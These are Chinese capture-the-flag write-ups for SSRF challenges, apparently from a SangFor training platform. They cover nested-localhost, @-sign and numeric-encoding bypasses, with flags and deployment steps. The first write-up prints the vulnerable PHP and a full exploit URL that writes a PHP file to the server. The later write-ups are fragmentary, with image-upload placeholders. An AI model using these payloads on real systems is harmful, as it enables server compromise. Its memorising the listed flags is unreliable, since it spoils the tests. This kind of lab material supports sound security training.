[题目信息]:
题目名称 | 题目难度 |
---|---|
SSRF题目进阶 | 3 |
[题目考点]:
SSRF绕过
[Flag格式]:
SangFor{h3bvbopR6L2EQOXv}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,’…’) > -1){
die(‘no!’);
}
if(strpos($url,‘http://127.0.0.1/’) === 0){
file_put_contents($path, file_get_contents($url));
echo “console.log($path update successed!)”;
}else{
echo “Hello”;
}
1、需通过get方式传递两个参数,file和path。
2、$path变量中不能存在"..",如果存在程序结束die()。
3、倒数4、5、6行代码为本题关键代码。
4、首先限制$url必须以http://127.0.0.1/开头。
5、然后进入到IF条件语句中,file_put_contents函数为写文件,第一个参数为文件名,第二个参数为文件内容。
6、file_put_contents函数的第二个参数为file_get_contents函数,file_get_contents函数可以读取远程url地址的源码。
7、console.log控制台调试函数,将$path update successed!输出到网页上。
1、我们可控变量$url和$path。$url必须以http://127.0.0.1/开头。
2、想要getshell必须通过file_put_contents函数写文件到服务器上,其中第一个参数直接可控,第二个参数file_get_contents函数的参数也可控,间接可控。
3、如果将$url赋值为http的地址,file_get_contens会发起http请求,该请求的起始是靶机服务器。
4、如果可以通过构造特殊的$url,控制file_put_contents的第二个参数,就可以获取服务器的权限,getshell。
5、尝试传递正常参数$file=http://127.0.0.1/,$path=xxx.php
6、console.log函数会将$path值打印出来,如果令$path为
$path = <?php phpinfo();?>
7、可以看到$path的内容被打印到网页的源代码中,综上所述
1、file_get_contents函数可以读取远程url地址的源码
2、file_put_contents第一个参数$path可控
3、file_get_contents中$url可控
4、如果通过控制$url,使file_get_contents访问结果如上图所示,那么就可以控制file_put_contens的第二个参数,获取服务器的权限。
http://192.168.0.193:2005/?file=http://127.0.0.1/index.php?file=http://127.0.0.1/index.php%26path=<?php%2520phpinfo();?>&path=123xxx.php
由于存在两次请求,第一次为我们的物理机访问服务器靶机,第二次为file_get_contents函数产生的ssrf,由服务器访问服务器。因此需要将第二次url中关键字符,&符号url进行url编码,空格进行url二次编码。
10、访问/upload/123xxx.php,phpinfo函数已执行
[题目信息]:
题目名称 | 题目难度 |
---|---|
SSRF正则绕过 |
[题目考点]:
利用@符号绕过ssrf正则匹配
[Flag格式]:
SangFor{9RErqmXQ7va3efON}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
正在上传…重新上传取消
python dirsearch.py -u http://192.168.0.193:2002/ -e php -t 20
正在上传…重新上传取消
正在上传…重新上传取消
6、返回结果为html实体编码,将返回结果复制,并保存在.html后缀的文件当中
正在上传…重新上传取消
parse_url() 函数可以解析 URL,返回其组成部分
$url = parse_url($_POST["handler"]);
$scheme = $url['scheme']; #协议
$host = $url['host']; #域名
$port = $url['port']; #端口
$path = $url['path']; #路径
9、parse_url()解析函数和curl解析url有所不同,下图为curl命令解析,解析@后域名
[题目信息]:
题目名称 | 题目难度 |
---|---|
进制绕过SSRF限制 | 1 |
[题目考点]:
进制绕过SSRF限制
[Flag格式]:
SangFor{8wTFrFxSKMzXM3ng}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
docker-compose up -d
[题目writeup]:
1、实验主页
2、使用dirsearch扫描网站目录
python dirsearch.py -u http://192.168.0.193:2002/ -e php -t 20
3、扫描到文件flag.php,访问flag.php文件
4、提示仅可以本地访问
5、按照提示,尝试在网页输入框内输入深信服官网地址
6、根据返回结果可以判断出,当在输入框内输入网站地址,服务端会尝试访问该地址,并返回响应内容
7、由于flag.php内容仅本地用户允许访问,因此在网页的输入框内输入:
11、根据上述结果显示,可以初步判断,允许使用http或者https协议,但是不允许使用localhost,尝试使用127.0.0.1访问
正在上传…重新上传取消